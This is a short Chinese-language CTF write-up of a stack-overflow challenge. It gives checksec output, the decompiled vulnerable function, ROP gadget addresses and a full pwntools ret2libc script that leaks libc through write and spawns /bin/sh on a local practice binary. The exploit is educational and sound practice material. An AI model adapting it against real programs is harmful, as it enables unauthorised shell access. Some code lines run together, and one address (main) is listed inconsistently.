203 字
1 分钟
12考核wp
通过, checksec ./test 查看程序的保护机制
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/work/test/test' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No没有开启大部分保护
打开ida 分析代码发现此处代码存在 栈溢出漏洞
ssize_t __fastcall overflow(__int64 argc, __int64 argv, __int64 envp){ _QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF
memset(buf, 0, sizeof(buf)); write(1, "something!\n", 0xCu); // 0xC -> 13 return read(0, buf, 0x100u);}通过进一步分析发现
发现可用的gadget
| gadget | address |
|---|---|
| ret | 0x40101a |
| pop rsi;pop r15 | 0x401221 |
| pop rdi | 0x401223 |
发现可用的函数地址
| function | Address |
|---|---|
| main | 0x4011a |
| write | got |
| write | plt |
所以可以得出如下攻击思路
- 通过
read 函数劫持程序调用write泄露出 write的实际地址,从而计算出libc.so.6在内存中的基地址 - 跳转回main 函数,为第二次栈溢出创造条件
- 利用这个泄露出的libc地址进一步调用
system函数,同时从libc 中查找/bin/sh\x00字符串用于获取shell - 获取shell
所以得到如下脚本
from pwn import *
context.log_level = "debug"libc = ELF("./libc.so.6")elf = ELF("./test")
p = process("./test")
# p.interactive()
offset = 6 * 8
ret = 0x40101apoprsi_r15 = 0x401221poprdi = 0x401223
mainAddr = 0x4011abwriteGot = elf.got["write"]writePlt = elf.plt["write"]# writePlt = 0x401184
log.success(f"writeGot: {hex(writeGot)}")log.success(f"writePlt: {hex(writePlt)}")# mainAddr = elf.symbols["main"]log.success(f"main: {hex(mainAddr)}")
# mianpayload1 = flat([ b"a" * 48, p64(ret), p64(mainAddr)])
payload2 = flat([ b"a" * offset, p64(ret),
p64(poprdi), p64(1),
p64(poprsi_r15), p64(writeGot), p64(0), p64(writePlt),
p64(mainAddr)])
p.recvuntil(b"\n\x00")# input(f"pwndbg -p {p.pid}")# print("2 ==============================")p.sendline(payload1)print(p.recv())p.sendline(payload2)# input(f"pwndbg -p {p.pid}")
leakStr = p.recv()leakStr = leakStr[:8]leakAddr= u64(leakStr)
log.info(f"Got leakAddr: {hex(leakAddr)}")libcAddr = leakAddr - libc.symbols["write"]libc.address = libcAddrsystemAddr = libc.symbols["system"]shAddr = next(libc.search(b"/bin/sh\x00"))log.success(f"libcAddr: {hex(libcAddr)}")log.success(f"SystemAddr: {hex(systemAddr)}")log.success(f"shAddr: {hex(shAddr)}")
# p.recv()# 3payload3 = flat([ b"a" * offset,
p64(0), p64(ret),
p64(poprdi), p64(shAddr), p64(systemAddr)])
p.sendline(payload3)p.interactive()运行这个脚本呢就可以获得flag
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时
相关文章 智能推荐










